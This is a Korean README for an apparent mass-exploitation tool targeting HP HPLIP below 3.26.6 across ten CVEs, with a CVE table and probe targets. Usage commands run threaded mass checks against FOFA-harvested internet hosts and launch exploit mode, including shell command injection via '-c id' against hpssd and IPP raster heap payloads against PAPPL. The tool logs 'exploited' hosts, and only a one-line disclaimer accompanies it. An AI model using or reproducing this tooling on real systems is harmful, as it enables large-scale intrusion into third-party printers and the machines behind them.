
HP HPLIP CVE-2026-91097–91106(<3.26.6)에 대한 대량 점검/연구 익스플로잇, PAPPL :8000 IPP 프로브 + hpssd 템플릿
HP HPLIP < 3.26.6 — CVE-2026-91097부터 CVE-2026-91106까지를 위한 대량 검사(check) 및 연구용 익스플로잇(exploit) 드라이버.
| CVE | CVSS 4 | CWE | 원격 |
|---|---|---|---|
| CVE-2026-91097 | 7.0 | CWE-787 | 예 (UI) |
| CVE-2026-91098 | 8.6 | CWE-122 | 예 (UI) |
| CVE-2026-91099 | 5.1 | CWE-61 | 로컬 |
| CVE-2026-91100 | 6.8 | CWE-78 | 로컬 |
| CVE-2026-91102 | 8.4 | CWE-78 | 로컬 |
| CVE-2026-91101 | 5.1 | CWE-129 | 물리적 |
| CVE-2026-91103 | 5.1 | CWE-191 | 물리적 |
| CVE-2026-91104 | 9.3 | CWE-122 | 예 |
| CVE-2026-91105 | 8.6 | CWE-122 | 예 (UI) |
| CVE-2026-91106 | 9.3 | CWE-122 | 예 |
수정됨: HPLIP 3.26.6+
| 표면 | 탐지 | 익스플로잇 참고 |
|---|---|---|
hpssd :2207 | TCP + XML 프로브 | -c id 명령 주입 템플릿 (레거시 hpssd 스타일) |
CUPS/IPP :631 | HTTP 프로브 | 카탈로그 / 핑거프린트 |
HPLIP Printer Application :8000+ | HTTP PAPPL UI + 버전 문자열 | IPP Print-Job + PWG 래스터 연구 (ZDI-26-656 / PAPPL < 1.4.12) — HTTP를 통한 셸 출력이 아님 |
FOFA body="hplip" 결과는 종종 :2207이 아니라 :8000 PAPPL입니다. 대상 목록에는 **host:port**를 사용하세요.
--flow 대량 검사)
pip install -r requirements.txtpip install -r requirements.txt
# 단일 대상 (포트 미지정 시 기본 포트 631, 2207, 9100)
python poc.py -u 192.0.2.10 --mode check
# FOFA 포트 (권장)
python poc.py -u 192.0.2.10:8000 --mode check --flow
# 대량 — 10개 CVE 전체
python poc.py --list targets.example.txt --mode check -j 30 -q --flow
# 심각한 네트워크 힙 CVE만
python poc.py --list list_hplip_printer.txt --mode check --cve CVE-2026-91104,CVE-2026-91106
# 익스플로잇 연구 (:8000의 PAPPL → IPP 래스터; -c id는 hpssd:2207에서만 의미 있음)
python poc.py -u 192.0.2.10:8000 --mode exploit --cve CVE-2026-91106
python poc.py -u 192.0.2.10:2207 --mode exploit --cve CVE-2026-91100 -c id
# 내보내기를 fofa_csv_1049.csv로 저장 (또는 -i로 전달)
python fofa_to_list.py
# list.txt (전체) + list_hplip_printer.txt (title 힌트 = HPLIP Printer Application)
python poc.py --list list_hplip_printer.txt --mode check -j 30 --flow
192.0.2.10:8000
192.0.2.11:2207
192.0.2.12|CVE-2026-91106
|CVE…가 포함된 줄은 | 앞부분을 호스트로 사용합니다 (결과 출력을 위한 선택적 CVE 힌트).
| 옵션 | 설명 |
|---|---|
-u / --url | 호스트, host:port, 또는 http://host:port |
--list | 한 줄에 대상 하나 |
--mode | check 또는 exploit |
--cve | all 또는 쉼표로 구분된 CVE id |
-c / --command | 셸 명령 (hpssd 명령 주입 시도에만 해당) |
--heap-size | 원시 TCP 힙 프로브 크기 (기본값 8192) |
--threads, -j | 대량 동시성 (기본값 20) |
--timeout | 대상별 타임아웃 초 (기본값 8) |
--flow, -f | 대상별 결과 한 줄 |
--output | JSONL (기본값 massexploit_results.jsonl) |
--vuln-list | hits.txt (check) 또는 exploited.txt (exploit) |
| 파일 | 내용 |
|---|---|
massexploit_results.jsonl | 호스트별 전체 JSON |
hits.txt | 후보 (host|cve,…) |
status 값| 상태 | 의미 |
|---|---|
hplip_surface_candidate | 열린 포트 + 버전/CVE 매핑 |
network_surface_version_unknown | TCP 열림, HPLIP/PAPPL 가능성, 버전 읽기 불가 |
no_open_ports | 스캔한 포트에서 도달 가능한 대상 없음 |
patched_version | HPLIP 버전 ≥ 3.26.6 |
| 상태 | 의미 |
|---|---|
pappl_raster_sent_no_shell_output | PAPPL 포트로 IPP/래스터 전송됨; HTTP에 id 없음 (힙 RCE 계열) |
exploit_attempted_no_confirm | 시도했으나 검증 없음 |
exploited | 응답이 명령 주입 휴리스틱과 일치하는 경우에만 (드묾) |
.
├── poc.py
├── cve_catalog.py
├── hplip_probes.py
├── hplip_exploit.py
├── pappl_ipp.py
├── pappl_raster.py
├── fofa_to_list.py
├── image.png
├── targets.example.txt
├── requirements.txt
├── README.md
├── LICENSE
└── .gitignore
--cve all에 나열되지만 대규모로 원격 익스플로잇 가능하지 않음.승인된 보안 테스트 전용입니다. 관련 법률 및 프로그램 규칙 준수에 대한 책임은 사용자에게 있습니다.